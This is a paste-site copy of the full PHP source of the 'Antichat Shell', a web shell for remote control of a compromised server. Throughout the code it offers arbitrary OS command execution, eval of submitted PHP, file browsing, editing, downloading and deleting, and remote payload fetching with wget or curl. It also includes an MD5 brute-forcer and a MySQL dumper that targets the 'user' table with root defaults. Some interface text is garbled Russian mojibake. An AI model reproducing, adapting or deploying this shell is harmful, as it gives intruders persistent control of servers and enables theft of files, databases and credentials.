· 10 years ago · Sep 22, 2016, 10:36 PM
1<?php
2session_start();
3set_magic_quotes_runtime(0);
4set_time_limit(0);
5error_reporting(0);
6
7$self = $HTTP_SERVER_VARS['PHP_SELF'];
8if(get_magic_quotes_gpc()) {
9 foreach ($_POST as $k => $v) {
10 $_POST[$k] = stripslashes($v);
11 }
12}
13
14@ini_set('max_execution_time',0);
15if(@ini_get('safe_mode') == '1') {
16 $safe_mode="ON";
17} else {
18 $safe_mode="OFF";
19}
20if(@ini_get('disable_functions') != "") {
21 $disfunc = ini_get('disable_functions');
22} else {
23 $disfunc = 0;
24}
25if(strtoupper(substr(PHP_OS, 0, 3))==='WIN') {
26 $os = 1;
27} else {
28 $os = 0;
29}
30
31$action = $_POST['action'];
32$file = $_POST['file'];
33$dir = $_POST['dir'];
34$content = '';
35$stdata = '';
36$style = '<STYLE>
37BODY{background-color: #2b2f34;color: #9acd32;font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;MARGIN-TOP: 0px;MARGIN-BOTTOM: 0px;MARGIN-LEFT: 0px;MARGIN-RIGHT: 0px;margin:0;padding:0;scrollbar-face-color: #31333b;scrollbar-shadow-color: #363940;scrollbar-highlight-color: #363940;scrollbar-3dlight-color: #363940;scrollbar-darkshadow-color: #363940;scrollbar-track-color: #363940;scrollbar-arrow-color: #363940;}
38input{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}
39select{background-color: #31333b;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}
40textarea{background-color: #363940;font-size: 8pt;color: #b50016;font-family: Tahoma;border: 1 solid #666666;}
41a:link{color: #91cd32;text-decoration: none;font-size: 8pt;}
42a:visited{color: #91cd32;text-decoration: none;font-size: 8pt;}
43a:hover, a:active{background-color: #A8A8AD;color: #E7E7EB;text-decoration: none;font-size: 8pt;}
44td, th, p, li{font: 8pt verdana, geneva, lucida, \'lucida grande\', arial, helvetica, sans-serif;border-color:black;}</style>';
45$header = '<html><head><title>'.getenv("HTTP_HOST").' - Antichat Shell</title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251">'.$style.'</head><body leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0>';
46$footer = '</body></html>';
47$lang = array(
48 'filext'=>'File already exists.',
49 'uploadok'=>'File was successfully uploaded.',
50 'dircrt'=>'Dir is created.',
51 'dontlist'=>'Listing dir permission denide.',
52 'dircrterr'=>'Don\'t create dir.',
53 'dirnf'=>'Dir not found.',
54 'filenf'=>'File not found.',
55 'dontwrdir'=>'Only read current dir.',
56 'empty'=>'Directory not empty or access denide.',
57 'deletefileok'=>'File deleted.',
58 'deletedirok'=>'Dir deleted.',
59 'isdontfile'=>'Selected file this is link.',
60 'cantrfile'=>'Cant read file, permission denide.',
61 'onlyracc'=>'Don\'t edit, only read access.',
62 'workdir'=>'Work directory: ',
63 'fullacc'=>'Full access.',
64 'fullaccdir'=>'Full accees you are can create and delete dir.',
65 'thisnodir'=>'This is don\'t dir.',
66 'allfuncsh'=>'All function for work shell was disabled.'
67);
68
69$act = array('viewer','editor','upload','shell','phpeval','download','delete','deletedir','brute','mysql');//here added new actions
70
71function test_file($file){
72if(!file_exists($file))$err="1";
73 elseif(!is_file($file)) $err="2";
74 elseif(!is_readable($file))$err="3";
75 elseif(!is_writable($file)) {
76 $err="4";
77 } else {
78 $err="5";
79 }
80return $err;
81}
82
83function test_dir($dir){
84if(!file_exists($dir))$err="1";
85 elseif(!is_dir($dir)) $err="2";
86 elseif(!is_readable($dir))$err="3";
87 elseif(!is_writable($dir)) {
88 $err="4";
89 } else {
90 $err="5";
91 }
92return $err;
93}
94
95function perms($file) {
96 $perms = fileperms($file);
97 if (($perms & 0xC000) == 0xC000) {
98 $info = 's';
99 }
100 elseif(($perms & 0xA000) == 0xA000) {
101 $info = 'l';
102 }
103 elseif(($perms & 0x8000) == 0x8000) {
104 $info = '-';
105 }
106 elseif(($perms & 0x6000) == 0x6000) {
107 $info = 'b';
108 }
109 elseif(($perms & 0x4000) == 0x4000) {
110 $info = 'd';
111 }
112 elseif(($perms & 0x2000) == 0x2000) {
113 $info = 'c';
114 }
115 elseif(($perms & 0x1000) == 0x1000) {
116 $info = 'p';
117 } else {
118 $info = 'u';
119 }
120 $info .= (($perms & 0x0100) ? 'r' : '-');
121 $info .= (($perms & 0x0080) ? 'w' : '-');
122 $info .= (($perms & 0x0040) ?(($perms & 0x0800) ? 's' : 'x' ) :(($perms & 0x0800) ? 'S' : '-'));
123 $info .= (($perms & 0x0020) ? 'r' : '-');
124 $info .= (($perms & 0x0010) ? 'w' : '-');
125 $info .= (($perms & 0x0008) ?(($perms & 0x0400) ? 's' : 'x' ) :(($perms & 0x0400) ? 'S' : '-'));
126 $info .= (($perms & 0x0004) ? 'r' : '-');
127 $info .= (($perms & 0x0002) ? 'w' : '-');
128 $info .= (($perms & 0x0001) ?(($perms & 0x0200) ? 't' : 'x' ) :(($perms & 0x0200) ? 'T' : '-'));
129 return $info;}
130
131function view_size($size){
132 if($size >= 1073741824) {
133 $size = @round($size / 1073741824 * 100) / 100 . " GB";
134 }
135 elseif($size >= 1048576) {
136 $size = @round($size / 1048576 * 100) / 100 . " MB";
137 }
138 elseif($size >= 1024) {
139 $size = @round($size / 1024 * 100) / 100 . " KB";
140 } else {
141 $size = $size . " B";
142 }
143return $size;}
144
145if(isset($action)) {
146 if(!in_array($action,$act)) {
147 $action = "viewer";
148 } else {
149 $action = $action;
150 }
151} else {
152 $action = "viewer";
153}
154
155if(isset($dir)){
156 $ts['test'] = test_dir($dir);
157 switch($ts['test']){
158 case 1:
159 $stdata.=$lang['dirnf'];
160 break;
161 case 2:
162 $stdata.=$lang['thisnodir'];
163 break;
164 case 3:
165 $stdata.=$lang['dontlist'];
166 break;
167 case 4:
168 $stdata.=$lang['dontwrdir'];
169 $dir=chdir($GLOBALS['dir']);
170 break;
171 case 5:
172 $stdata.=$lang['fullaccdir'];
173 $dir=chdir($GLOBALS['dir']);
174 break;
175 }
176} else {
177 $dir=@chdir($dir);
178}
179
180$dir = getcwd()."/";
181$dir = str_replace("\\","/",$dir);
182
183if(isset($file)){
184 $ts['test1'] = test_file($file);
185 switch ($ts['test1']){
186 case 1:
187 $stdata .=$lang['filenf'];
188 break;
189 case 2:
190 $stdata .=$lang['isdontfile'];
191 break;
192 case 3:
193 $stdata .=$lang['cantrfile'];
194 break;
195 case 4:
196 $stdata .=$lang['onlyracc'];
197 $file = $file;
198 break;
199 case 5:
200 $stdata .=$lang['fullacc'];
201 $file = $file;
202 break;
203 }
204}
205
206function shell($cmd) {
207 global $lang;
208
209$ret = '';
210if(!empty($cmd)) {
211 if(function_exists('exec')){
212 @exec($cmd,$ret);$ret = join("\n",$ret);
213 } elseif(function_exists('shell_exec')) {
214 $ret = @shell_exec($cmd);
215 } elseif(function_exists('system')) {
216 @ob_start()
217 ;@system($cmd);
218 $ret = @ob_get_contents();
219 @ob_end_clean();
220 } elseif(function_exists('passthru')) {
221 @ob_start();
222 @passthru($cmd);
223 $ret = @ob_get_contents();
224 @ob_end_clean();
225 } elseif(@is_resource($f = @popen($cmd,"r"))) {
226 $ret = "";
227 while(!@feof($f)) {
228 $ret .= @fread($f,1024);
229 }
230 @pclose($f);
231 } else {
232 $ret=$lang['allfuncsh'];
233 }
234}
235return $ret;
236}
237
238function createdir($dir) {
239 mkdir($dir);
240}
241
242//delete file
243if($action == 'delete') {
244 if(unlink($file))
245 $content.=$lang['deletefileok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
246}
247
248//delete dir
249if($action == 'deletedir') {
250 if(!rmdir($file)) {
251 $content .=$lang['empty']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
252 } else {
253 $content .=$lang['deletedirok']."<a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$dir."'; document.reqs.submit();\"> Click here for back in viewer</a>";
254 }
255}
256
257//shell
258if($action == 'shell'){
259 $content .="<form method=\"POST\">
260 <input type=\"hidden\" name=\"action\" value=\"shell\">
261 <textarea name=\"command\" rows=\"5\" cols=\"150\">".@$_POST['command']."</textarea><br>
262 <textarea readonly rows=\"15\" cols=\"150\">".convert_cyr_string(htmlspecialchars(shell($_POST['command'])),"d","w")."</textarea><br>
263 <input type=\"submit\" value=\"execute\"></form>";
264}
265//editor
266if($action == 'editor'){
267 $stdata.="<tr><td><form method=POST>
268 <input type=\"hidden\" name=\"action\" value=\"editor\">
269 <input type=\"hidden\" name=\"dir\" value=\"".$dir."\">
270 Open file:<input type=text name=file value=\"".($file=="" ? $file=$dir : $file=$file)."\" size=50><input type=submit value=\">>\"></form>";
271 function writef($file,$data){
272 $fp = fopen($file, "w+");
273 fwrite($fp, $data);
274 fclose($fp);
275}
276
277function readf($file){
278 clearstatcache();
279 $f = fopen($file, "r");
280 $contents = fread($f,filesize($file));
281 fclose($f);
282 return htmlspecialchars($contents);
283}
284
285if(@$_POST['save'])
286 writef($file, $_POST['data']);
287if(@$_POST['create'])
288 writef($file,"");
289$test = test_file($file);
290if($test ==1 ){
291 $content.="<form method=\"POST\">
292 <input type=\"hidden\" name=\"action\" value=\"editor\">
293 File name:<input type=\"text\" name=\"file\" value=\"".$file."\" size=\"50\"><br>
294 <input type=\"submit\" name=\"create\" value=\"Create new file with this name?\">
295 <input type=\"reset\" value=\"No\"></form>";
296}
297
298if($test > 2){
299 $content.="<form method=\"POST\">
300 <input type=\"hidden\" name=\"action\" value=\"editor\">
301 <input type=\"hidden\" name=\"file\" value=\"".$file."\">
302 <textarea name=\"data\" rows=\"30\" cols=\"180\">".@readf($file)."</textarea><br>
303 <input type=\"submit\" name=\"save\" value=\"save\"><input type=\"reset\" value=\"reset\"></form>";
304}
305}
306
307//viewer
308if($action == 'viewer'){
309 $content.="<table cellSpacing=0 border=2 style=\"border-color:black;\" cellPadding=0 width=\"100%\">";
310 $content.="<tr><td><form method=POST><br>Open directory: <input type=text name=dir value=\"".$dir."\" size=50><input type=submit value=\">>\"></form>";
311 if (is_dir($dir)) {
312 if (@$dh = opendir($dir)) {
313 while (($file = readdir($dh)) !== false) {
314 if(filetype($dir . $file) == 'dir')
315 $dire[] = $file;
316 if(filetype($dir . $file) == 'file')
317 $files[] = $file;
318 }
319 closedir($dh);
320 @sort($dire);
321 @sort($files);
322 if ($GLOBALS['os'] == 1) {
323 $content.="<tr><td>Select drive:";
324 for ($j = ord('C'); $j <= ord('Z'); $j++)
325 if (@$dh = opendir(chr($j).":/"))
326 $content .='<a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.chr($j).':/\'; document.reqs.submit();"> '.chr($j).'<a/>';
327 $content .="</td></tr>";
328 }
329 $content .="<tr><td>Name dirs and files</td><td>type</td><td>size</td><td>permission</td><td>options</td></tr>";
330 for($i = 0;$i < count($dire);$i++) {
331 $link = $dir.$dire[$i];
332 $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td>
333<td>dir</td><td></td><td>'.perms($link).'</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
334 }
335 for($i = 0;$i < count($files);$i++) {
336 $linkfile = $dir.$files[$i];
337 $content .='<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();">'.$files[$i].'</a><br></td>
338<td>file</td><td>'.view_size(filesize($linkfile)).'</td><td>'.perms($linkfile).'</td><td><a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Download">D</a>
339<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Edit">E</a><a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete this file">X</a></td></tr>';
340 }
341 $content .="</table>";
342 }
343 }
344}
345//downloader
346if($action == 'download') {
347header('Content-Length:'.filesize($file).'');
348header('Content-Type: application/octet-stream');
349header('Content-Disposition: attachment; filename="'.$file.'"');
350readfile($file);
351}
352//phpeval
353if($action == 'phpeval') {
354 $content.="<form method=\"POST\">
355 <input type=\"hidden\" name=\"action\" value=\"phpeval\">
356 <input type=\"hidden\" name=\"dir\" value=\"".$dir."\">
357 <?php<br>
358 <textarea name=\"phpev\" rows=\"5\" cols=\"150\">".@$_POST['phpev']."</textarea><br>
359 ?><br>
360 <input type=\"submit\" value=\"execute\"></form>";
361 if(isset($_POST['phpev']))
362 $content .=eval($_POST['phpev']);
363}
364//upload
365if($action == 'upload') {
366 if(isset($_POST['dirupload'])) {
367 $dirupload = $_POST['dirupload'];
368 } else {
369 $dirupload = $dir;
370 }
371 $form_win = "<table><form method=POST enctype=multipart/form-data>
372 <tr><td><input type=\"hidden\" name=\"action\" value=\"upload\">
373 Upload to dir: <input type=text name=dirupload value=\"".$dirupload."\" size=50><tr><td>New file name: <input type=text name=filename></td></tr><tr><td><input type=file name=file> <input type=submit name=uploadloc value='Upload local file'></td></tr>";
374 if($os == 1)
375 $content.=$form_win;
376 if($os == 0){
377 $content .=$form_win;
378 $content .='<tr><td><select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>File addres:<input type=text name=urldown>
379 <input type=submit name=upload value=Upload></form></td></tr>';
380 }
381
382if(isset($_POST['uploadloc'])) {
383if(!isset($_POST['filename'])) {
384 $uploadfile = $dirupload.basename($_FILES['file']['name']);
385} else {
386 $uploadfile = $dirupload."/".$_POST['filename'];
387}
388
389if(test_dir($dirupload) == 1 && test_dir($dir) != 3 && test_dir($dir) != 4) {
390 createdir($dirupload);
391}
392if(file_exists($uploadfile))$content .= $lang['filext'];
393 elseif (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile))
394$content .=$lang['uploadok'];
395}
396
397if(isset($_POST['upload'])){
398 if (!empty($_POST['with']) && !empty($_POST['urldown']) && !empty($_POST['filename']))
399 switch($_POST['with'])
400 {
401 case wget:shell(which('wget')." ".$_POST['urldown']." -O ".$_POST['filename']."");break;
402 case fetch:shell(which('fetch')." -o ".$_POST['filename']." -p ".$_POST['urldown']."");break;
403 case lynx:shell(which('lynx')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
404 case links:shell(which('links')." -source ".$_POST['urldown']." > ".$_POST['filename']."");break;
405 case GET:shell(which('GET')." ".$_POST['urldown']." > ".$_POST['filename']."");break;
406 case curl:shell(which('curl')." ".$_POST['urldown']." -o ".$_POST['filename']."");break;
407}}}
408//Brute
409if($action == 'brute'){
410
411function Brute() {
412 global $action,$pass_de,$chars_de,$dat,$date;
413ignore_user_abort(1);
414}
415
416if($chars_de == "") {
417 $chars_de ="";
418}
419$content ="<table><form action='$php_self' method=post name=md5><tr><td><b>Decrypte MD5</b>
420<tr><td> MD5 õåø:<b>".$pass_de."</b></td>
421<input type='hidden' name='action' value='$action'>
422<tr><td> <textarea class='inputbox' name='chars_de' cols='50' rows='5'>".$chars_de."</textarea></td>
423<td><b>Ïåðåáîð áóêâ:</b><br><font color=red><b><u>ENG:</u></b></font>
424<a class=menu href=javascript:ins('abcdefghijklmnopqrstuvwxyz')>[a-z]</a>
425<a class=menu href=javascript:ins('ABCDEFGHIJKLMNOPQRSTUVWXYZ')>[A-Z]</a><br>
426<a class=menu href=javascript:ins('0123456789')>[0-9]</a>
427<a class=menu href=javascript:ins('~`\!@#$%^&*()-_+=|/?><[]{}:¹.,"')>[Ñèìâîëû]</a><br><br>
428<font color=red><b><u>RUS:</u></b></font>
429<a class=menu href=javascript:ins('àáâãäå¸æçèéêëìíîïðñòóôõö÷øùúûüýþÿ')>[à-ÿ]</a>
430<a class=menu href=javascript:ins('ÀÁÂÃÄŨÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞß')>[À-ß]</a>
431<br></br><input type=reset value=Î÷èñòèòü class=button1></td></tr>
432<tr><td> <input class='inputbox' type='text' name='pass_de' size=50 onclick=this.value=''>
433</td><td><input type='submit' value='Decrypt MD5' class=button1></td></tr></form>
434<script>
435function ins(text){
436document.md5.chars_de.value+=text;
437document.md5.chars_de.focus();}
438</script>";
439
440if($_POST['pass_de']) {
441$pass_de = htmlspecialchars($pass_de);
442$pass_de = stripslashes($pass_de);
443$dat = date("H:i:s");
444$date = date("d:m:Y");
445}
446{
447crack_md5();
448}
449}
450function crack_md5() {
451global $chars_de;
452$chars = $_POST[chars];
453ignore_user_abort(1);
454$chars_de = str_replace("<",chr(60),$chars_de);
455$chars_de = str_replace(">",chr(62),$chars_de);
456$c = strlen($chars_de);
457for($next = 0; $next <= 31; $next++) {
458 for($i1 = 0; $i1 <= $c; $i1++) {
459 $word[1] = $chars_de{$i1};
460 for($i2 = 0; $i2 <= $c; $i2++) {
461 $word[2] = $chars_de{$i2};
462 if($next <= 2) {
463 result(implode($word));
464 } else {
465 for ($i3 = 0; $i3 <= $c; $i3++) {
466 $word[3] = $chars_de{$i3};
467 if ($next <= 3) {
468 result(implode($word));
469 }else {
470 for($i4 = 0; $i4 <= $c; $i4++) {
471 $word[4] = $chars_de{$i4};
472 if($next <= 4) {
473 result(implode($word));
474 }else {
475 for ($i5 = 0; $i5 <= $c; $i5++) {
476 $word[5] = $chars_de{$i5};
477 if ($next <= 5) {
478 result(implode($word));
479 }else {
480 for ($i6 = 0; $i6 <= $c; $i6++) {
481 $word[6] = $chars_de{$i6};
482if ($next <= 6) {
483result(implode($word));
484}else {
485for ($i7 = 0; $i7 <= $c; $i7++) {
486$word[7] = $chars_de{$i7};
487if ($next <= 7) {
488result(implode($word));
489}else {
490for ($i8 = 0; $i8 <= $c; $i8++) {
491$word[8] = $chars_de{$i8};
492if ($next <= 8) {
493result(implode($word));
494}else {
495for ($i9 = 0; $i9 <= $c; $i9++) {
496$word[9] = $chars_de{$i9};
497if ($next <= 9) {
498result(implode($word));
499}else {
500for ($i10 = 0; $i10 <= $c; $i10++) {
501$word[10] = $chars_de{$i10};
502if ($next <= 10) {
503result(implode($word));
504}else {
505for ($i11 = 0; $i11 <= $c; $i11++) {
506$word[11] = $chars_de{$i11};
507if ($next <= 11) {
508result(implode($word));
509}else {
510for ($i12 = 0; $i12 <= $c; $i12++) {
511$word[12] = $chars_de{$i12};
512if ($next <= 12) {
513result(implode($word));
514}else {
515for ($i13 = 0; $i13 <= $c; $i13++) {
516$word[13] = $chars_de{$i13};
517if ($next <= 13) {
518result(implode($word));
519}else {
520for ($i14 = 0; $i14 <= $c; $i14++) {
521$word[14] = $chars_de{$i14};
522if ($next <= 14) {
523result(implode($word));
524}else {
525for ($i15 = 0; $i15 <= $c; $i15++) {
526$word[15] = $chars_de{$i15};
527if ($next <= 15) {
528result(implode($word));
529}else {
530for ($i16 = 0; $i16 <= $c; $i16++) {
531$word[16] = $chars_de{$i16};
532if ($next <= 16) {
533result(implode($word));
534}else {
535for ($i17 = 0; $i17 <= $c; $i17++) {
536$word[17] = $chars_de{$i17};
537if ($next <= 17) {
538result(implode($word));
539}else {
540for ($i18 = 0; $i18 <= $c; $i18++) {
541$word[18] = $chars_de{$i18};
542if ($next <= 18) {
543result(implode($word));
544}else {
545for ($i19 = 0; $i19 <= $c; $i19++) {
546$word[19] = $chars_de{$i19};
547if ($next <= 19) {
548result(implode($word));
549}else {
550for ($i20 = 0; $i20 <= $c; $i20++) {
551$word[20] = $chars_de{$i20};
552if ($next <= 20) {
553result(implode($word));
554}else {
555for ($i21 = 0; $i21 <= $c; $i21++) {
556$word[21] = $chars_de{$i21};
557if ($next <= 21) {
558result(implode($word));
559}else {
560for ($i22 = 0; $i22 <= $c; $i22++) {
561$word[22] = $chars_de{$i22};
562if ($next <= 22) {
563result(implode($word));
564}else {
565for ($i23 = 0; $i23 <= $c; $i23++) {
566$word[23] = $chars_de{$i23};
567if ($next <= 23) {
568result(implode($word));
569}else {
570for ($i24 = 0; $i24 <= $c; $i24++) {
571$word[24] = $chars_de{$i24};
572if ($next <= 24) {
573result(implode($word));
574}else {
575for ($i25 = 0; $i25 <= $c; $i25++) {
576$word[25] = $chars_de{$i25};
577if ($next <= 25) {
578result(implode($word));
579}else {
580for ($i26 = 0; $i26 <= $c; $i26++) {
581$word[26] = $chars_de{$i26};
582if ($next <= 26) {
583result(implode($word));
584}else {
585for ($i27 = 0; $i27 <= $c; $i27++) {
586$word[27] = $chars_de{$i27};
587if ($next <= 27) {
588result(implode($word));
589}else {
590for ($i28 = 0; $i28 <= $c; $i28++) {
591$word[28] = $chars_de{$i28};
592if ($next <= 28) {
593result(implode($word));
594}else {
595for ($i29 = 0; $i29 <= $c; $i29++) {
596$word[29] = $chars_de{$i29};
597if ($next <= 29) {
598result(implode($word));
599}else {
600for ($i30 = 0; $i30 <= $c; $i30++) {
601$word[30] = $chars_de{$i30};
602if ($next <= 30) {
603result(implode($word));
604}else {
605for ($i31 = 0; $i31 <= $c; $i31++) {
606$word[31] = $chars_de{$i31};
607if ($next <= 31) {
608result(implode($word));
609}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
610
611function result($word) {
612global $dat,$date;
613$pass_de = $_POST[pass_de];
614$dat2 = date("H:i:s");
615$date2 = date("d:m:Y");
616
617if(md5($word) == $pass_de){
618echo "<STYLE>BODY{background-color: #2b2f34;color: #9acd32;</STYLE><table><tr><td>Ðåçóëüòàò âûïîëíåíèÿ ïåðåáîðà ïàðîëåé:</td></tr>
619<tr><td>Çàõåøèðîâàííûé ïàðîëü:</b></td><td><font color=red> $word</font></td></tr>
620<tr><td>Íà÷àëî ïåðåáîðà:</td><td> $dat - $date</td></tr>
621<tr><td>Îêîí÷àíèå ïåðåáîðà:</td><td> $dat2 - $date2</td></tr>
622<tr><td>Âûïîëíåíèå ïåðåáîðà õåøåé çàïèñàí â ôàéë: ".$word."_md5</td></tr></table>";
623$f = @fopen($word._md5,"a+");
624fputs($f,"Õýø èç MD5 [$pass_de] = $word
625Íà÷àëî ïåðåáîðà:\t$dat - $date
626Îêîí÷àíèå ïåðåáîðà:\t$dat2 - $date2");
627exit;
628}}
629
630//Mysql
631
632if($action == 'mysql') {
633if(isset($_POST['dif'])) {
634 $fp = @fopen($_POST['dif_name'], "w");
635}
636 if((!empty($_POST['dif']) && $fp) || (empty($_POST['dif']))) {
637 $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);
638 if($db) {
639 if(@mysql_select_db($_POST['mysql_db'],$db)) {
640 $sql1 .= "# ---------------------------------\r\n";
641 $sql1 .= "# date : ".date ("j F Y g:i")."\r\n";
642 $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";
643 $sql1 .= "# table : ".$_POST['mysql_tbl']."\r\n";
644 $sql1 .= "# ---------------------------------\r\n\r\n";
645
646 $res = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
647 $row = @mysql_fetch_row($res);
648 $sql1 .= $row[1]."\r\n\r\n";
649 $sql1 .= "# ---------------------------------\r\n\r\n";
650
651 $sql2 = '';
652
653 $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
654 if (@mysql_num_rows($res) > 0) {
655 while ($row = @mysql_fetch_assoc($res)) {
656 $keys = @implode("`, `", @array_keys($row));
657 $values = @array_values($row);
658 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
659 $values = @implode("', '", $values);
660 $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";
661 }
662 $sql2 .= "\r\n# ---------------------------------";
663 }
664 $content .="<center><b>Ãîòîâî! Äàìï ïðîøåë óäà÷íî!</b></center>";
665 if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
666 else { echo $sql1.$sql2; }
667 } // end if(@mysql_select_db($_POST['mysql_db'],$db))
668 else $content.="<center><b>Òàêîé ÁÄ íåò!</b></center>";
669 @mysql_close($db);
670 }
671 } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){
672 else if(!empty($_POST['dif'])&&!$fp) { $content.="<center><b>ÎØÈÁÊÀ, íåò ïðàâ çàïèñè â ôàéë!</b></center>"; }
673
674$content.="<form name='mysql_dump' action='$php_self' method='post'>
675<input type='hidden' name='action' value='$action'>
676 Áàçà: <input type=text name=mysql_db size=15 value=";
677$content .=(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"));
678$content .="> Òàáëèöà: <input type=text name=mysql_tbl size=15 value=";
679$content .=(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"));
680$content .="> Ëîãèí: <input type=text name=mysql_l size=15 value=";
681$content .=(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"));
682$content .="> Ïàðîëü: <input type=text name=mysql_p size=15 value=";
683$content .=(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"));
684$content .="><input type=hidden name=dir size=85 value=".$dir.">
685<input type=hidden name=cmd size=85 value=mysql_dump>
686<br> Ñîõðàíèòü äàìï â ôàéëå: <input type=checkbox name=dif value=1 id=dif><input type=text name=dif_name size=80 value=";
687$content .=(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"));
688$content .="><input type=submit name=submit value=Ñîõðàíèòü></form>";
689
690@$php_self = $_POST['PHP_SELF'];
691@$from = $_POST['from'];
692@$to = $_POST['to'];
693@$adress = $_POST['adress'];
694@$port = $_POST['port'];
695@$login = $_POST['login'];
696@$pass = $_POST['pass'];
697@$adress = $_POST['adress'];
698@$port = $_POST['port'];
699@$login = $_POST['login'];
700@$pass = $_POST['pass'];
701if(!isset($adress)){
702 $adress="localhost";
703}
704if(!isset($login)){
705 $login="root";
706}
707if(!isset($pass)){
708 $pass="";
709}
710if(!isset($port)){
711 $port="3306";
712}
713if(!isset($from)){
714$from=0;
715}
716if(!isset($to)){
717 $to=50;
718}
719
720if(!@$conn) {
721$content .="<form name='mysql_dump' action='$php_self' method='post'>
722<table><tr><td valign=top>
723<input type='hidden' name='action' value='$action'>
724<input type=hidden name=ac value=sql>
725<tr><td valign=top>Õîñò: <input name=adress value='$adress' size=20>
726<tr><td valign=top>Ïîðò: <input name=port value='$port' size=20>
727<tr><td valign=top>Ëîãèí: <input name=login value='$login' size=20>
728<tr><td valign=top>Ïàðîëü: <input name=pass value='$pass' size=20>
729<input type=hidden name=p value=sql></td></tr>
730<tr><td></td><td><input type=submit name=conn value=Ïîäêëþ÷èòüñÿ></form></td></tr>
731</table>";
732}
733@$conn = $_POST['conn'];
734@$adress = $_POST['adress'];
735@$port = $_POST['port'];
736@$login = $_POST['login'];
737@$pass = $_POST['pass'];
738if($conn){
739
740$serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("ÎØÈÁÊÀ: ".mysql_error());
741if($serv) {
742$content .="<form name='conn' action='$php_self' method='post'><input type=hidden name=conn value=0>
743<input type='hidden' name='action' value='$action'>
744Ñòàòóñ: Ïîäêëþ÷åí : <input type=submit name=exit value='Âûéòè èç áàçû'></form>
745<table><tr><td><font color=red>[Òàáëèöû]</font><br></br>";
746}
747$res = mysql_list_dbs($serv);
748while ($str=mysql_fetch_row($res)){
749$content .= "<table><a href=\"#\" onclick=\"document.dump1.db.value='$str[0]';document.dump1.tbl.value='$str[0]';document.dump1.submit();\">$str[0]</a></table>";
750@$tc++;
751}
752$content .="<form name='dump1' action='$php_self' method='POST'>
753<input type='hidden' name='action' value='$action'>
754<input type=hidden name=ac value=sql>
755<input name=base value='1' type=hidden>
756<input name=db value='$str[0]' type=hidden>
757<input name=p value='sql' type=hidden>
758<input name=adress value='$adress' type=hidden>
759<input name=port value='$port' type=hidden>
760<input name=login value='$login' type=hidden>
761<input name=pass value='$pass' type=hidden>
762<input name=conn value='1' type=hidden>
763<input name=tbl value='$str[0]' type=hidden></form>";
764
765@$base = $_POST['base'];
766@$db = $_POST['db'];
767$content .="<br></br><font color=red>[Âñåãî òàáëèö: $tc]</font>";
768if($base){
769$content .="<br></br><font color=red>Òàáëèöà: [$tbl]</font><br>";
770$result = mysql_list_tables($db);
771while($str=mysql_fetch_array($result)){
772$c = mysql_query ("SELECT COUNT(*) FROM $str[0]");
773$records = mysql_fetch_array($c);
774$content .="<table><font color=red>[$records[0]]</font><a href=\"#\" onclick=\"document.dump2.vn.value='$str[0]';document.dump2.tbl.value='$str[0]';document.dump2.submit();\">$str[0]</a></table>";
775mysql_free_result($c);
776}}
777$content .="<form name='dump2' action='$php_self' method='post'>
778<input type='hidden' name='action' value='$action'>
779<input type=hidden name=ac value=sql>
780<input name=inside value='1' type=hidden>
781<input name=base value='1' type=hidden>
782<input name=vn value='$str[0]' type=hidden>
783<input name=db value='$db' type=hidden>
784<input name=p value='sql' type=hidden>
785<input name=adress value='$adress' type=hidden>
786<input name=port value='$port' type=hidden>
787<input name=login value='$login' type=hidden>
788<input name=pass value='$pass' type=hidden>
789<input name=tbl value='$str[0]' type=hidden>
790<input name=conn value='1' type=hidden></form>";
791
